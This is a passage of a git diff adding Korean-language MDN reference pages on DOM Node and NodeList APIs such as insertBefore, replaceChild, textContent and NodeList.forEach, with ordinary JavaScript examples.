이것은 노드가 document에 동시에 두 곳에 존재할 수 없다는 것을 의미합니다. 그러므로 노드가 이미 부모를 가지고 있다면, 노드가 제거된 뒤에 새로운 위치에 삽입됩니다. {{domxref("Node.cloneNode()")}} 로 노드를 새로운 부모 아래에 추가하기 전에 복사본을 만들수 있습니다. cloneNode 로 만들어진 복사본들은 자동으로 동기화 상태를 유지하지 않는다는 것을 알아두십시오.

+ +

만약 참조 노드가 null 이라면, 노드는 부모 노드의 자식 노드 리스트 맨 끝에 추가됩니다.

+ +

만약 자식 노드가 {{domxref("DocumentFragment")}} 이라면, {{domxref("DocumentFragment")}} 의 콘텐츠 전체는 부모 노드의 자식 리스트로 이동됩니다.

+ +

Syntax

+ +
var insertedNode = parentNode.insertBefore(newNode, referenceNode);
+
+ +

referenceNode 가 null 이라면, newNode 가 자식 노드의 리스트의 끝에 삽입됩니다.

+ +
+

referenceNode 는 선택 인자가 아닙니다. -- 명시적으로 Node 나 null 를 전달해야 합니다. 전달하지 않거나 잘못된 값을 전달하면 브라우저 버전에 따라 다른 결과를 얻게 됩니다.

+
+ +

Returns

+ +

반환값은 추가된 자식 노드입니다. 다만 newNode 가 {{domxref("DocumentFragment")}} 일 경우, 빈 {{domxref("DocumentFragment")}} 이 반환됩니다.

+ +

Example 1

+ +
<div id="parentElement">
+   <span id="childElement">foo bar</span>
+</div>
+
+<script>
+// Create the new node to insert
+var newNode = document.createElement("span");
+
+// Get a reference to the parent node
+var parentDiv = document.getElementById("childElement").parentNode;
+
+// Begin test case [ 1 ] : Exist a childElement --> All working correctly
+var sp2 = document.getElementById("childElement");
+parentDiv.insertBefore(newNode, sp2);
+// End test case [ 1 ]
+
+// Begin test case [ 2 ] : childElement is of Type undefined
+var sp2 = undefined; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Implicit dynamic cast to type Node
+// End test case [ 2 ]
+
+// Begin test case [ 3 ] : childElement is of Type "undefined" ( string )
+var sp2 = "undefined"; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Generate "Type Error: Invalid Argument"
+// End test case [ 3 ]
+</script>
+ + + +

Example 2

+ +
<div id="parentElement">
+  <span id="childElement">foo bar</span>
+</div>
+
+<script>
+// Create a new, plain <span> element
+var sp1 = document.createElement("span");
+
+// Get a reference to the element, before we want to insert the element
+var sp2 = document.getElementById("childElement");
+// Get a reference to the parent element
+var parentDiv = sp2.parentNode;
+
+// Insert the new element into the DOM before sp2
+parentDiv.insertBefore(sp1, sp2);
+</script>
+
+ +

There is no insertAfter method. It can be emulated by combining the insertBefore method with nextSibling.

+ +

In the previous example, sp1 could be inserted after sp2 using:

+ +
parentDiv.insertBefore(sp1, sp2.nextSibling);
+ +

If sp2 does not have a next sibling, then it must be the last child — sp2.nextSibling returns null, and sp1 is inserted at the end of the child node list (immediately after sp2).

+ +

Example 3

+ +

Insert an element before the first child element, using the firstChild property.

+ +
// Get a reference to the element in which we want to insert a new node
+var parentElement = document.getElementById('parentElement');
+// Get a reference to the first child
+var theFirstChild = parentElement.firstChild;
+
+// Create a new element
+var newElement = document.createElement("div");
+
+// Insert the new element before the first child
+parentElement.insertBefore(newElement, theFirstChild);
+
+ +

When the element does not have a first child, then firstChild is null. The element is still appended to the parent, after the last child. Since the parent element did not have a first child, it did not have a last child either. Consequently, the new element is the only element, after insertion.

+ +

Browser compatibility

+ + + +

{{Compat("api.Node.insertBefore")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-node-insertbefore','Node.insertBefore')}}{{Spec2('DOM WHATWG')}}Fixes errors in the insertion algorithm
{{SpecName('DOM4','#dom-node-insertbefore','Node.insertBefore')}}{{Spec2('DOM4')}}Describes the algorithm in more detail
{{SpecName('DOM3 Core','core.html#ID-952280727','Node.insertBefore')}}{{Spec2('DOM3 Core')}}No notable changes
{{SpecName('DOM2 Core','core.html#ID-952280727','Node.insertBefore')}}{{Spec2('DOM2 Core')}}No notable changes
{{SpecName('DOM1','level-one-core.html#method-insertBefore','Node.insertBefore')}}{{Spec2('DOM1')}}Introduced
+ +

See also

+ + diff --git a/files/ko/web/api/node/lastchild/index.html b/files/ko/web/api/node/lastchild/index.html new file mode 100644 index 0000000000..158ffdab32 --- /dev/null +++ b/files/ko/web/api/node/lastchild/index.html @@ -0,0 +1,25 @@ +--- +title: element.lastChild +slug: Web/API/Node/lastChild +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Node/lastChild +--- +

{{ ApiRef() }}

+

요약

+

lastChild는 노드의 마지막 자식을 반환합니다.

+

구문과 값

+
last_child = element.lastChild
+
+

반환되는 last_child는 노드입니다. 노드의 부모가 요소이면, 자식은 보통 요소 노드, 텍스트 노드, 주석 노드입니다.

+

+
var tr = document.getElementById("row1");
+corner_td = tr.lastChild;
+
+

주의

+

자식 요소가 없으면 null을 반환합니다.

+

명세

+

lastChild

+

{{ languages( { "en": "en/DOM/element.lastChild", "fr": "fr/DOM/element.lastChild", "pl": "pl/DOM/element.lastChild" } ) }}

diff --git a/files/ko/web/api/node/nextsibling/index.html b/files/ko/web/api/node/nextsibling/index.html new file mode 100644 index 0000000000..8627bd096b --- /dev/null +++ b/files/ko/web/api/node/nextsibling/index.html @@ -0,0 +1,83 @@ +--- +title: Node.nextSibling +slug: Web/API/Node/nextSibling +tags: + - API + - DOM + - Gecko + - Node + - Property +translation_of: Web/API/Node/nextSibling +--- +
+
{{APIRef("DOM")}}
+ +
 
+
+ +

읽기 전용 속성인 Node.nextSibling 은 부모의 {{domxref("Node.childNodes","childNodes")}} 목록에서 지정된 노드 바로 다음에 있는 노드를 반환하거나 지정된 노드가 해당 목록의 마지막 노드이면 null 값을 반환합니다.

+ +

Syntax

+ +
nextNode = node.nextSibling
+
+ +

Notes

+ +

Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다. + 그러므로 예를 들어 Node.firstChildNode.previousSibling을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는 + 달리 공백 텍스트 노드를 참조할 지도 모릅니다.

+ +

더 많은 정보는 Whitespace in the DOM과 + W3C DOM 3 FAQ: Why are some Text nodes empty?를 보세요.

+ +
 
+ +

Example

+ +
<div id="div-01">Here is div-01</div>
+<div id="div-02">Here is div-02</div>
+
+<script type="text/javascript">
+var el = document.getElementById('div-01').nextSibling,
+    i = 1;
+
+console.log('Siblings of div-01:');
+
+while (el) {
+  console.log(i + '. ' + el.nodeName);
+  el = el.nextSibling;
+  i++;
+}
+
+</script>
+
+/**************************************************
+   로드될 때 다음과 같이 콘솔에 기록됩니다. :
+
+     Siblings of div-01
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/
+
+ +

위의 예에서 #text 노드는 태그 사이의 마크 업 에서 공백이 발생하는 DOM에 삽입되며 ( 즉 요소의 닫기 태그와 다음 태그의 열기 태그 사이에 있습니다 ) document.write 구문에 의해 삽입 된 요소간에 공백이 생성되지 않습니다.

+ +

nextSibling 을 사용하여 DOM을 탐색 할 때, DOM에 텍스트 노드를 포함시킬 수 있어야 합니다. 노트 섹션의 리소스를 참조하세요.

+ +

Specification

+ + + +

See also

+ + diff --git a/files/ko/web/api/node/normalize/index.html b/files/ko/web/api/node/normalize/index.html new file mode 100644 index 0000000000..dca132296c --- /dev/null +++ b/files/ko/web/api/node/normalize/index.html @@ -0,0 +1,56 @@ +--- +title: Node.normalize() +slug: Web/API/Node/normalize +tags: + - API + - DOM + - NeedsSpecTable + - 노드 + - 레퍼런스 + - 메소드 +translation_of: Web/API/Node/normalize +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.normalize() 메소드는 지정된 노드와 하위 트리의 모든 노드를 "정규화된" 형태로 놓습니다. 정규화된 하위 트리의 텍스트 노드는 비어있지 않으며 인접한 텍스트 노드도 존재하지 않습니다.

+ +

문법

+ +
element.normalize();
+
+ +

예제

+ +
var wrapper = document.createElement("div");
+
+wrapper.appendChild( document.createTextNode("Part 1 ") );
+wrapper.appendChild( document.createTextNode("Part 2 ") );
+
+// 이 때, wrapper.childNodes.length === 2
+// wrapper.childNodes[0].textContent === "Part 1 "
+// wrapper.childNodes[1].textContent === "Part 2 "
+
+wrapper.normalize();
+
+// 이제, wrapper.childNodes.length === 1
+// wrapper.childNodes[0].textContent === "Part 1 Part 2 "
+ +

명세

+ + + +

브라우저 호환성

+ + + +

{{Compat("api.Node.normalize")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/node/ownerdocument/index.html b/files/ko/web/api/node/ownerdocument/index.html new file mode 100644 index 0000000000..b3aced6728 --- /dev/null +++ b/files/ko/web/api/node/ownerdocument/index.html @@ -0,0 +1,63 @@ +--- +title: Node.ownerDocument +slug: Web/API/Node/ownerDocument +translation_of: Web/API/Node/ownerDocument +--- +
{{APIRef("DOM")}}
+ +

Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다.

+ +

Syntax

+ +
document = element.ownerDocument
+
+ + + +

Example

+ +
// given a node "p", get the top-level HTML child
+// of the document object
+
+var d = p.ownerDocument;
+var html = d.documentElement;
+
+ +

Notes

+ +

이 속성에 의해 반환된document 객체는 실제 HTML 문서의 모든 child 노드들이 생성되는 메인 객체입니다. 이 속성이 document 그 자체 노드에서 사용될 경우, 결과는 null 이 됩니다. 

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}}{{Spec2("DOM4")}} 
{{SpecName("DOM3 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}{{Spec2("DOM3 Core")}}No change
{{SpecName("DOM2 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}{{Spec2("DOM2 Core")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Node.ownerDocument")}}

diff --git a/files/ko/web/api/node/previoussibling/index.html b/files/ko/web/api/node/previoussibling/index.html new file mode 100644 index 0000000000..642b896748 --- /dev/null +++ b/files/ko/web/api/node/previoussibling/index.html @@ -0,0 +1,42 @@ +--- +title: Node.previousSibling +slug: Web/API/Node/previousSibling +translation_of: Web/API/Node/previousSibling +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.previousSibling은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 {{domxref("Node.childNodes", "childNodes")}} 목록에서 특정 자식 노드를 리턴하거나 childNodes 목록의 첫번째 노드일 경우 Null값을 리턴합니다.

+ +

Syntax

+ +
previousNode = node.previousSibling;
+
+ +

Example

+ +
// <a><b1 id="b1"/><b2 id="b2"/></a>
+
+alert(document.getElementById("b1").previousSibling); // null
+alert(document.getElementById("b2").previousSibling.id); // "b1"
+
+ +

Notes

+ +

Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다. + 그러므로 예를 들어 Node.firstChildNode.previousSibling을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는 + 달리 공백 텍스트 노드를 참조할 지도 모릅니다.

+ +

더 많은 정보는 Whitespace in the DOM과 + W3C DOM 3 FAQ: Why are some Text nodes empty?를 보세요.

+ +

To navigate the opposite way through the child nodes list use Node.nextSibling.

+ +

Specification

+ + diff --git a/files/ko/web/api/node/replacechild/index.html b/files/ko/web/api/node/replacechild/index.html new file mode 100644 index 0000000000..b058cc4c99 --- /dev/null +++ b/files/ko/web/api/node/replacechild/index.html @@ -0,0 +1,71 @@ +--- +title: Node.replaceChild() +slug: Web/API/Node/replaceChild +tags: + - 노드 교체 + - 돔 조작 + - 자바스크립트 +translation_of: Web/API/Node/replaceChild +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.replaceChild() 메소드는 특정 부모 노드의 한 자식 노드를  다른 노드로 교체합니다.

+ +

Syntax

+ +
replacedNode = parentNode.replaceChild(newChild, oldChild);
+
+ + + +

Example

+ +
// <div>
+//  <span id="childSpan">foo bar</span>
+// </div>
+
+// 텅빈 요소 노드를 하나 생성합니다.
+// ID도, 속성도, 컨텐츠도 없습니다.
+var sp1 = document.createElement("span");
+
+// 'newSpan'이란 id 속성을 부여합니다.
+sp1.id = "newSpan";
+
+// 새로운 요소를 위한 컨텐츠를 생성합니다.
+var sp1_content = document.createTextNode("new replacement span element.");
+
+// 컨텐츠를 생성한 요소에 붙입니다.
+sp1.appendChild(sp1_content);
+
+// DOM에 존재하던, 교체되야할 노드를 참조합니다.
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// 이미 존재하던 sp2 노드를 새로운 span 요소인 sp1으로 교체합니다.
+parentDiv.replaceChild(sp1, sp2);
+
+// 결과:
+// <div>
+//   <span id="newSpan">new replacement span element.</span>
+// </div>
+
+ +

Specification

+ + + +

See also

+ + diff --git a/files/ko/web/api/node/textcontent/index.html b/files/ko/web/api/node/textcontent/index.html new file mode 100644 index 0000000000..f9b1798a96 --- /dev/null +++ b/files/ko/web/api/node/textcontent/index.html @@ -0,0 +1,111 @@ +--- +title: Node.textContent +slug: Web/API/Node/textContent +tags: + - API + - DOM + - Node + - Property + - Reference +translation_of: Web/API/Node/textContent +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Node")}} 인터페이스의 textContent 속성은 노드와 그 자손의 텍스트 콘텐츠를 표현합니다.

+ +
+

참고: textContent와 {{domxref("HTMLElement.innerText")}}가 자주 혼동되곤 하지만, 두 속성에는 {{anch("innerText와의 차이점", "몇 가지 중요한 차이점")}}이 있습니다.

+
+ +

구문

+ +
let text = someNode.textContent
+someOtherNode.textContent = string
+ +

+ +

문자열 또는 {{jsxref("null")}}.

+ +

설명

+ +

textContent의 값은 상황에 따라 다릅니다.

+ + + +

노드의 textContent를 설정하면, 노드의 모든 자식을 주어진 문자열로 이루어진 하나의 텍스트 노드로 대치합니다.

+ +

innerText와의 차이점

+ +

비록 Node.textContent와 {{domxref("HTMLElement.innerText")}}의 이름이 유사하긴 하지만, 중요한 차이가 있으므로 헷갈리지 마세요.

+ + + +

innerHTML과의 차이점

+ +

{{domxref("Element.innerHTML")}}는 이름 그대로 HTML을 반환합니다. 간혹 innerHTML을 사용해 요소의 텍스트를 가져오거나 쓰는 경우가 있지만, HTML로 분석할 필요가 없다는 점에서 textContent의 성능이 더 좋습니다.

+ +

이에 더해, textContentXSS 공격의 위험이 없습니다.

+ +

예제

+ +

다음과 같은 HTML 조각에서...

+ +
<div id="divA">This is <span>some</span> text!</div>
+ +

textContent를 사용해 요소의 텍스트 콘텐츠를 가져오거나...

+ +
let text = document.getElementById('divA').textContent;
+// The text variable is now: 'This is some text!'
+ +

텍스트 내용을 설정할 수 있습니다.

+ +
document.getElementById('divA').textContent = 'This text is different!';
+// The HTML for divA is now:
+// <div id="divA">This text is different!</div>
+
+ +

브라우저 호환성

+ + + +

{{Compat("api.Node.textContent")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}}{{Spec2('DOM WHATWG')}}
+ +

참고

+ + diff --git a/files/ko/web/api/nodefilter/index.html b/files/ko/web/api/nodefilter/index.html new file mode 100644 index 0000000000..8e71d48db4 --- /dev/null +++ b/files/ko/web/api/nodefilter/index.html @@ -0,0 +1,115 @@ +--- +title: NodeFilter +slug: Web/API/NodeFilter +tags: + - API + - DOM + - Reference +translation_of: Web/API/NodeFilter +--- +
{{APIRef("DOM")}}
+ +

NodeFilter 인터페이스는 {{ domxref("NodeIterator") }}나 {{ domxref("TreeWalker") }}에서 노드를 거를 때 사용하는 객체를 나타냅니다. NodeFilter는 DOM이나 노드 순회 방법은 알지 못하며, 주어진 필터에 대해 단일 노드를 평가하는 방법만 알 수 있습니다.

+ +
+

The browser doesn't provide any object implementing this interface. It is the user who is expected to write one, tailoring the acceptNode() method to its needs, and using it with some {{domxref("TreeWalker")}} or {{domxref("NodeIterator")}} objects.

+
+ +

Properties

+ +

This interface neither implements, nor inherits, any properties.

+ +

Methods

+ +

This interface doesn't inherit any methods.

+ +
+
{{domxref("NodeFilter.acceptNode()")}}
+
Returns an unsigned short that will be used to tell if a given {{domxref("Node")}} must be accepted or not by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} iteration algorithm. This method is expected to be written by the user of a NodeFilter. Possible return values are: + + + + + + + + + + + + + + + + + + + +
ConstantDescription
FILTER_ACCEPTValue returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be accepted.
FILTER_REJECTValue to be returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be rejected. For {{ domxref("TreeWalker") }}, child nodes are also rejected. For {{ domxref("NodeIterator") }}, this flag is synonymous with FILTER_SKIP.
FILTER_SKIPValue to be returned by {{ domxref("NodeFilter.acceptNode()") }} for nodes to be skipped by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} object. The children of skipped nodes are still considered. This is treated as "skip this node but not its children".
+
+
+ +

Example

+ +
var nodeIterator = document.createNodeIterator(
+  // Node to use as root
+  document.getElementById('someId'),
+
+  // Only consider nodes that are text nodes (nodeType 3)
+  NodeFilter.SHOW_TEXT,
+
+  // Object containing the function to use for the acceptNode method
+  // of the NodeFilter
+    { acceptNode: function(node) {
+      // Logic to determine whether to accept, reject or skip node
+      // In this case, only accept nodes that have content
+      // other than whitespace
+      if ( ! /^\s*$/.test(node.data) ) {
+        return NodeFilter.FILTER_ACCEPT;
+      }
+    }
+  },
+  false
+);
+
+// Show the content of every non-empty text node that is a child of root
+var node;
+
+while ((node = nodeIterator.nextNode())) {
+  alert(node.data);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-nodefilter', 'NodeFilter')}}{{Spec2('DOM WHATWG')}} 
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeFilter', 'NodeFilter')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.NodeFilter")}}

+ +

See also

+ + diff --git a/files/ko/web/api/nodelist/entries/index.html b/files/ko/web/api/nodelist/entries/index.html new file mode 100644 index 0000000000..8e9387311c --- /dev/null +++ b/files/ko/web/api/nodelist/entries/index.html @@ -0,0 +1,70 @@ +--- +title: NodeList.entries() +slug: Web/API/NodeList/entries +translation_of: Web/API/NodeList/entries +--- +
{{APIRef("DOM")}}
+ +

NodeList.entries() 메서드는 이 객체에 포함된 모든 key/value 쌍을 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 이 값(value)은 {{domxref("Node")}} 객체입니다.

+ +

Syntax

+ +
list.entries();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}} 를 반환합니다.

+ +

Example

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var entry of list.entries()) {
+  console.log(entry);
+}
+
+ +

결과는 다음과 같습니다:

+ +
Array [ 0, <p> ]
+Array [ 1, #text "hey" ]
+Array [ 2, <span> ]
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-nodelist','entries() (as iterable<Node>)')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.NodeList.entries")}}

+ +

See also

+ + diff --git a/files/ko/web/api/nodelist/foreach/index.html b/files/ko/web/api/nodelist/foreach/index.html new file mode 100644 index 0000000000..b12325d134 --- /dev/null +++ b/files/ko/web/api/nodelist/foreach/index.html @@ -0,0 +1,118 @@ +--- +title: NodeList.prototype.forEach() +slug: Web/API/NodeList/forEach +translation_of: Web/API/NodeList/forEach +--- +

{{APIRef("DOM")}}

+ +

{{domxref("NodeList")}} 인터페이스의 forEach() 메서드는 리스트 내의 각각의 값 쌍에 대해 매개 변수에 지정된 콜백을 삽입 순서로 호출합니다.

+ +

문법Syntax

+ +
NodeList.forEach(callback[, thisArg]);
+
+ +

Parameters

+ +
+
callback
+
각각의 요소에 대해 실행하는 함수로, 3개의 인수(arguments)를 갖습니다: +
+
currentValue
+
NodeList에서 처리중인 현재 요소(element)입니다.
+
currentIndex
+
NodeList에서 처리중인 현재 요소의 인덱스입니다.
+
listObj
+
forEach() 가 적용되고 있는 NodeList 객체입니다. 
+
+
+
thisArg {{Optional_inline}}
+
callback 을 실행할 때 {{jsxref("this")}} 에 대입할 값입니다.
+
+ +

Return value

+ +

{{jsxref('undefined')}}.

+ +

Exceptions

+ +

None.

+ +

Example

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+list.forEach(
+  function(currentValue, currentIndex, listObj) {
+    console.log(currentValue + ', ' + currentIndex + ', ' + this);
+  },
+  'myThisArg'
+);
+ +

결과는 다음과 같습니다.

+ +
[object HTMLParagraphElement], 0, myThisArg
+[object Text], 1, myThisArg
+[object HTMLSpanElement], 2, myThisArg
+ +

Polyfill

+ +

이 {{Glossary("Polyfill","polyfill")}} 은 ES5 를 지원하는 모든 브라우저에서 동작합니다:

+ +
if (window.NodeList && !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = function (callback, thisArg) {
+        thisArg = thisArg || window;
+        for (var i = 0; i < this.length; i++) {
+            callback.call(thisArg, this[i], i, this);
+        }
+    };
+}
+ +

또는

+ +
if (window.NodeList && !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = Array.prototype.forEach;
+}
+ +

The above behavior is how many browsers actually implement NodeList.prototype.forEach (Chrome, for example).

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebIDL", "#es-forEach", "forEach")}}{{Spec2("WebIDL")}}Defines forEach on iterable declarations
+ +

Browser Compatibility

+ + + +

{{Compat("api.NodeList.forEach")}}

+ +

See also

+ + diff --git a/files/ko/web/api/nodelist/index.html b/files/ko/web/api/nodelist/index.html new file mode 100644 index 0000000000..a0829a7eca --- /dev/null +++ b/files/ko/web/api/nodelist/index.html @@ -0,0 +1,153 @@ +--- +title: NodeList +slug: Web/API/NodeList +tags: + - DOM + - Interface +translation_of: Web/API/NodeList +--- +
{{APIRef("DOM")}}
+ +

NodeList 객체는 일반적으로 {{domxref("element.childNodes")}}와 같은 속성(property)과 {{domxref("document.querySelectorAll")}} 와 같은 메서드에 의해 반환되는  노드의 콜렉션입니다.

+ +
+

NodeListArray 는 아니지만, forEach() 를 사용하여 반복할 수 있습니다. 또한 {{jsxref("Array.from()")}} 을 사용하여 Array 로 변환 할 수도 있습니다.

+ +

그러나 일부 오래된 브라우저는 아직NodeList.forEach() 또는 Array.from() 를 구현하지 않았습니다. 이것은 {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} 를 사용하여 회피할 수 있습니다. — 이 문서의 예제를 참조하세요.

+
+ +

경우에 따라, NodeList는 라이브 콜렉션으로, DOM의 변경 사항을 실시간으로 콜렉션에 반영합니다. 예를 들어, {{domxref("Node.childNodes")}} 는 실시간입니다:

+ +
var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // let's assume "2"
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // should output "3"
+
+ +

다른 경우 NodeList는 정적 콜렉션입니다. DOM을 변경해도 콜렉션 내용에는 영향을 주지 않습니다. {{domxref("document.querySelectorAll()")}} 은 정적 NodeList를 반환합니다.

+ +

NodeList의 항목(items)을 순회(iterate)하거나, 특히 리스트의 길이를 캐시(cache)해야 할 때, 이 구분을 유지하는것이 좋습니다.

+ +

속성(Properties)

+ +
+
{{domxref("NodeList.length")}}
+
NodeList의 노드의 개수를 반환합니다.
+
+ +

메서드(Methods)

+ +
+
{{domxref("NodeList.item()")}}
+
리스트 내 항목(item)의 인덱스를 반환하고, 인덱스가 범위 외의 경우일 땐 null을 반환합니다.
+
nodeList[idx]의 대안으로 사용할 수 있습니다.(i 가범위를 벗어날 때(out-of-bounds) undefined 를 반환합니다.) 이것은 비 자바스크립트 언어 DOM 구현에 유용합니다.
+
{{domxref("NodeList.entries()")}}
+
{{jsxref("Iteration_protocols","iterator")}} 를 반환하여 코드가 콜렉션에 포함된 모든 키/값 쌍을 순회할 수 있도록 합니다. (이 경우 키는 0부터 시작하는 숫자이고, 값은 노드가 됩니다.)
+
{{domxref("NodeList.forEach()")}}
+
NodeList의 요소(element)마다 한 번씩, 인자로 전달 받은 함수를 실행하여 요소를 인수(argument)로 함수에 전달합니다.
+
{{domxref("NodeList.keys()")}}
+
{{jsxref("Iteration_protocols", "iterator")}}를 반환하여 콜렉션에 포함된 키/값 쌍의 모든 키를 코드가 순회하도록 합니다. (이 경우 키는 0부터 시작하는 숫자입니다.)
+
{{domxref("NodeList.values()")}}
+
콜렉션에 포함된 키/값 쌍의 모든 값(nodes)을 코드가 순회할 수 있게 해주는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.
+
+ +

Example

+ +

for 루프를 사용하여 NodeList의 항목을 반복할 수 있습니다.

+ +
for (var i = 0; i < myNodeList.length; ++i) {
+  var item = myNodeList[i];  // Calling myNodeList.item(i) isn't necessary in JavaScript
+}
+
+ +

리스트의 항목(items)을 열거하기 위해 for...in 또는 for each...in를 사용하지 않길 바랍니다. NodeList의 길이와 항목 속성까지 열거합니다. 또한 스크립트가 요소({{domxref("element")}}) 객체만 처리한다고 가정하면 오류가 발생할 수 있습니다. 게다가, for..in은 고정된 순서로 각 속성들을 접근한다는 보장이 없습니다.

+ +

for...of 루프는 NodeList 객체를 올바르게 반복합니다.

+ +
var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}
+ +

최신 브라우저는 반복자(iterator) 메서드인 {{domxref("NodeList.forEach()", "forEach()")}}만이 아니라, {{domxref("NodeList.entries()", "entries()")}}, {{domxref("NodeList.values()", "values()")}}, {{domxref("NodeList.keys()", "keys()")}} 까지도 지원합니다.

+ +

인터넷 익스플로러의 호환을 위해서는 {{jsxref("Array.forEach()", "Array.prototype.forEach")}} 를 사용하는 방법도 있습니다.

+ +
var list = document.querySelectorAll( 'input[type=checkbox]' );
+Array.prototype.forEach.call(list, function (item) {
+  item.checked = true;
+});
+
+ +

Array로 변환하는 법

+ +

NodeList의 컨텐츠를 Array의 메소드를 통해 다루는 것이 더 쉬울 때도 있다. 아래는 NodeList 객체를 Array로 변환하는 기법이다.

+ +
var div_list = document.querySelectorAll('div'); // returns NodeList
+var div_array = Array.prototype.slice.call(div_list); // converts NodeList to Array
+ +

NodeList prototype

+ +

NodeList에 프로토타입을 추가할 수도 있다.

+ +
var elements = document.querySelectorAll(".suggestions");
+
+NodeList.prototype.addEventListener = function(event, func) {
+    this.forEach(function(content, item) {
+       content.addEventListener(event, func);
+    });
+}
+
+function log() {
+    console.log(this, " was clicked");
+}
+
+elements.addEventListener("click", log);
+//or
+elements.addEventListener("click", function() {
+    console.log(this, "  awas clicked");
+});
+// 클릭된 요소로부터 출력될 요소는 둘 모두 HTML 요소가 된다.
+ +

forEach에 대한 자세한 내용은 Array.prototype.forEach()를 참조하길 바란다.

+ +

명세서

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}}{{ Spec2('DOM3 Core') }}
{{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}}{{ Spec2('DOM2 Core') }}
{{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}}{{ Spec2('DOM1') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.NodeList")}}

diff --git a/files/ko/web/api/nodelist/item/index.html b/files/ko/web/api/nodelist/item/index.html new file mode 100644 index 0000000000..8e46ba48f4 --- /dev/null +++ b/files/ko/web/api/nodelist/item/index.html @@ -0,0 +1,44 @@ +--- +title: NodeList.item() +slug: Web/API/NodeList/item +translation_of: Web/API/NodeList/item +--- +
{{APIRef("DOM")}}
+ +

NodeList 의 node를 index로 돌려줍니다. 이 메서드는 인수(arguments)를 제공하는 한 exceptions 을 throw 하지 않습니다. index가 범위를 벗어나면 null 값이 반환되고, 인수가 제공되지 않으면 TypeError 가 throw 됩니다.

+ +

Syntax

+ +
nodeItem = nodeList.item(index)
+
+ + + +

Alternate Syntax

+ +

자바스크립트는 NodeList 에서 index를 얻기 위한, 배열과 같은 브라켓 문법([])을 제공합니다 :

+ +
nodeItem = nodeList[index]
+
+ +

Example

+ +
var tables = document.getElementsByTagName("table");
+var firstTable = tables.item(1); // or simply tables[1] - returns the second table in the DOM
+
+ +

Specification

+ +

DOM Level 1 Core: NodeList.item()

+ +

DOM Level 2 Core: NodeList.item()

+ +

Browser compatibility

+ + + +

{{Compat("api.NodeList.item")}}

diff --git a/files/ko/web/api/nodelist/keys/index.html b/files/ko/web/api/nodelist/keys/index.html new file mode 100644 index 0000000000..36160b9e1b --- /dev/null +++ b/files/ko/web/api/nodelist/keys/index.html @@ -0,0 +1,72 @@ +--- +title: NodeList.keys() +slug: Web/API/NodeList/keys +translation_of: Web/API/NodeList/keys +--- +

{{APIRef("DOM")}}

+ +

